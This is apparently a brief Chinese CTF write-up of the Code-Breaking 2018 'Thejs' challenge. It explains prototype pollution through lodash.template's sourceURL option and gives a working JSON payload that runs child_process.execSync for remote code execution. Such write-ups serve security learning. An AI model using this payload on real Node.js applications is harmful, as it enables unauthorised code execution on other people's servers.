Code-Breaking 2018 Thejs

审计server.js

这里很明显可以污染{}的原型object

但哪里可以利用呢?

可以注意到这里有个lodash.template

继续跟进一下

审计lodash/template.js

源码在https://github.com/lodash/lodash/blob/4.17.4-npm/template.js#L165

注意到

和第52行的

说明这里的options.sourceURL其实是可控的

再看最后有这样的代码

Functionfunction的原型,Function(a,b)相当于把b看成一个函数,把a当成变量名

比如Function('a','return a')

后面的apply是传参数值

可以考虑RCE

RCE

传一个application/json过去

{
"__proto__":{
"sourceURL":"\nreturn e => { return global.process.mainModule.constructor._load('child_process').execSync('id')}\n//"
}
}

其实还不是很懂为什么要return e=>而且好像不能弹shell

以后会弄懂的!

参考资料

https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html#0x02-javascript


告别纷扰,去寻找生活的宝藏。